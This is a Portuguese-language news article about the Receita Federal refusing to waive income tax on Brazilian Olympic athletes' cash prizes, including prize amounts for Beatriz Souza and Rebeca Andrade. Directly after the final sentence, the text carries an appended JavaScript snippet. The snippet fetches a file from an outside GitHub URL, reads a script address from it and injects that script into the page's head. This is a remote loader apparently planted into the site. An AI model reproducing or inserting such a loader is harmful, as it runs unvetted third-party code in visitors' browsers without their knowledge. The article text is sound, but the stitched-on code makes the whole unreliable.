Brasil – A Secretaria da Receita Federal informou nesta quarta-feira (7) que a cobrança do Imposto de Renda sobre prêmios esportivos recebidos por atletas olímpicos devido ao seu desempenho não pode ser dispensada. A isenção só poderia ocorrer por meio de uma mudança na legislação.
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De acordo com o órgão, a cobrança segue a mesma norma aplicável a todos os trabalhadores brasileiros. “A Receita Federal não pode dispensar o pagamento, pois isso somente pode ser feito por meio de lei aprovada pelo Congresso Nacional”, afirmou o Fisco. Recentemente, foram apresentados projetos na Câmara dos Deputados e no Senado Federal para que os prêmios recebidos por atletas olímpicos sejam isentos de tributação.
Medalhas isentas de imposto, prêmios em dinheiro não
A Receita reiterou que as medalhas recebidas nos jogos olímpicos pelos atletas não são taxadas. No entanto, os prêmios em dinheiro pagos pelo Comitê Olímpico Brasileiro (COB), federações, clubes ou patrocinadores, independentemente de os atletas subirem ao pódio, são tributados normalmente, sem qualquer regra especial.
“Isso é tributado como qualquer outra remuneração de qualquer outro profissional, desde que seja um valor superior ao da faixa de isenção do imposto de renda (hoje em dois salários mínimos)”, acrescentou o Fisco em nota. Na última segunda-feira (5), um projeto de lei (PL) que visa isentar do IRPF também os valores recebidos por medalhistas brasileiros foi protocolado na Câmara dos Deputados, mas ainda não tem data para votação.
Polêmica nas redes sociais
A taxação de prêmios recebidos pelos atletas brasileiros nas Olimpíadas ganhou repercussão nas redes sociais nos últimos dias. O prêmio em dinheiro por cada medalha de ouro, por exemplo, é de R$ 350 mil. Medalhas de prata e de bronze rendem aos atletas R$ 210 mil e R$ 140 mil, respectivamente. Sobre esses valores, incide o Imposto de Renda.
Beatriz Souza, que foi a primeira atleta a ganhar ouro para o Brasil nas Olimpíadas, além de uma medalha de bronze, conquistou R$ 392 mil em premiação. Após os tributos, a atleta deve receber cerca de R$ 285,1 mil. Rebeca Andrade, recordista brasileira em número de medalhas, somou R$ 826 mil em premiações individuais. Com a cobrança dos impostos, o valor final cai para R$ 598,8 mil.;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});
